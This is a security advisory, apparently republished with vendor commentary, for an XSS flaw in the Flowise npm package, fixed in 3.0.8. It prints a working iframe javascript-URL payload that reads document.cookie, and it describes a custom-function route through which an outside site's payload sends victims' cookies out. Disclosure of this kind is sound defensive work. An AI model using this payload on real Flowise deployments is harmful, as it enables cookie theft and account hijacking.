GHSA-4fr9-3x69-36wv
Flowise vulnerable to XSS
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
flowisenpmDescription
Summary
A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc.
Details
- Send a Message
<iframe src="javascript:alert(document.cookie);">from User in a chat box: <img width="1396" alt="image" src="https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5" />
Trigger in other ways:
-
Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows)
-
Create a Custom function as an example, use the below example code.
const fetch = require('node-fetch');
const url = 'https://external.website';
const options = {
method: 'GET',
headers: {
'Content-Type': 'application/json'
}
};
try {
const response = await fetch(url, options);
const text = await response.text();
return text;
} catch (error) {
console.error(error);
return '';
}
-
The external website (https://external.website) return a XSS payload as content.
<img width="1228" alt="image" src="https://github.com/user-attachments/assets/2e0a4d1c-45bf-4c5f-b1b4-54c51f35ce53" /> -
The javascript code is executed and the victim's cookie data is sent to the external website.
<img width="1212" alt="image" src="https://github.com/user-attachments/assets/4ea17dab-c456-4a51-94f4-93fe9aa18cf7" />
PoC
<iframe src="javascript:alert(document.cookie);">
Impact
it is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.0.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update flowise to 3.0.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4fr9-3x69-36wv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-4fr9-3x69-36wv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-4fr9-3x69-36wv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4fr9-3x69-36wv in your dependencies?
O3 detects GHSA-4fr9-3x69-36wv across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.